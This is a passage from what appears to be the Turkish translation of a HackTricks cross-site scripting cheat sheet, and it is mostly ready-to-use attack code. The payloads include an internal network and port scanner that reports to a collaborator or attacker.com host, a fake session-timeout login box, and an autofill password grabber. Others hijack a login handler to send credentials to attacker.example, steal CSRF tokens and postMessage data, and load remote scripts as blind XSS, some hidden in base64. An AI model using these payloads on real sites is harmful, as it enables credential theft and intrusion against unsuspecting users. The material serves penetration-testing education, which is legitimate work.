xhr.send(null)

Dahili IP'leri bul

html
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kısa süreler yanıt veren bir portu gösterir Daha uzun süreler yanıt olmadığını gösterir.

Chrome'da yasaklanan portların listesini here ve Firefox'ta here inceleyin.

Kimlik bilgileri isteme kutusu

html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Otomatik doldurma şifrelerinin yakalanması

javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Parola alanına herhangi bir veri girildiğinde, kullanıcı adı ve parola saldırganın sunucusuna gönderilir; istemci kaydedilmiş bir parolayı seçse bile ve hiçbir şey yazmasa bile kimlik bilgileri sızdırılacaktır.

Hijack form handlers to exfiltrate credentials (const shadowing)

Eğer kritik bir handler (ör. function DoLogin(){...}) sayfada daha sonra tanımlanıyorsa ve payload'unuz daha erken çalışıyorsa (ör. via an inline JS-in-JS sink), aynı ada sahip bir const tanımlayarak handler'ı önden ele geçirip kilitleyin. Sonraki function declarations bir const adını yeniden bağlayamaz, böylece hook'unuz kontrolü elinde tutar:

javascript
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Notlar

  • Bu, yürütme sırasına dayanır: injection'iniz meşru declaration'dan önce çalışmalıdır.
  • Eğer payload'ınız eval(...) ile sarılıysa, const/let bağlamları global olmaz. Gerçek bir global, yeniden bağlanamaz binding sağlamak için “Deliverable payloads with eval(atob()) and scope nuances” bölümündeki dynamic <script> injection tekniğini kullanın.
  • Anahtar kelime filtreleri kodu engellediğinde, yukarıda gösterildiği gibi Unicode-escaped identifiers veya eval(atob('...')) teslimi ile birleştirin.

Keylogger

Sadece github'da arama yapınca birkaç farklı örnek buldum:

Stealing CSRF tokens

javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

PostMessage mesajlarını çalma

html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Service Workers'ı kötüye kullanma

Abusing Service Workers

Shadow DOM'a erişim

Shadow DOM

Polyglots

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt

Blind XSS payloads

Ayrıca şunu da kullanabilirsiniz: https://xsshunter.com/

html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Gizli İçeriğe Erişim

Bu this writeup sayesinde bazı değerler JS'den kaybolsa bile, farklı nesnelerdeki JS attribute'larında hâlâ bulunabileceğini öğrenebilirsiniz. Örneğin, bir REGEX girdisi, regex girdisinin değeri kaldırıldıktan sonra bile hâlâ bulunabilir:

javascript
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

XSS ile diğer zafiyetleri kötüye kullanma

Markdown'da XSS

Markdown kodu enjekte edilebilir ve render edilir mi? Belki XSS elde edebilirsiniz! Kontrol edin:

XSS in Markdown

XSS'ten SSRF'e

Bir önbellekleme kullanan bir sitede XSS mi buldunuz? Bunu Edge Side Include Injection ile SSRF'e yükseltmeyi deneyin; şu payload ile:

python
<esi:include src="http://yoursite.com/capture" />

Bunu cookie kısıtlamalarını, XSS filtrelerini ve çok daha fazlasını atlatmak için kullanın!
Bu teknik hakkında daha fazla bilgi: XSLT.

Dinamik oluşturulan PDF'te XSS

Bir web sayfası kullanıcı kontrollü girdi kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan bot'u kandırarak onu keyfi JS kodu çalıştırmaya yönlendirmeye çalışabilirsiniz.\ Yani, eğer PDF oluşturucu bot herhangi bir tür HTML etiketi bulursa, bunları yorumlayacak, ve bu davranışı istismar ederek bir Server XSS tetikleyebilirsiniz.

Server Side XSS (Dynamic PDF)

Eğer HTML etiketleri enjekte edemiyorsanız, PDF verisi enjekte etmeyi denemek faydalı olabilir:

PDF Injection

Amp4Email'de XSS

AMP, mobil cihazlarda web sayfası performansını hızlandırmayı hedefleyerek, işlevselliği sağlamak için HTML etiketlerini JavaScript ile destekler; hız ve güvenliğe vurgu yapar. Çeşitli özellikler için bir dizi bileşeni destekler; bunlara AMP components üzerinden erişilebilir.

AMP for Email formatı belirli AMP bileşenlerini e-postalara genişleterek, alıcıların içerikle e-postaları içinde doğrudan etkileşime girmesini sağlar.

Örnek writeup XSS in Amp4Email in Gmail.

XSS ile dosya yükleme (svg)

Aşağıdakine benzer bir dosyayı resim olarak yükleyin (kaynak: http://ghostlulz.com/xss-svg/):

html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
svg
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
html
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Daha fazla SVG payloads için https://github.com/allanlw/svg-cheatsheet

Çeşitli JS Hileleri ve İlgili Bilgiler

Misc JS Tricks & Relevant Info

XSS kaynakları

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin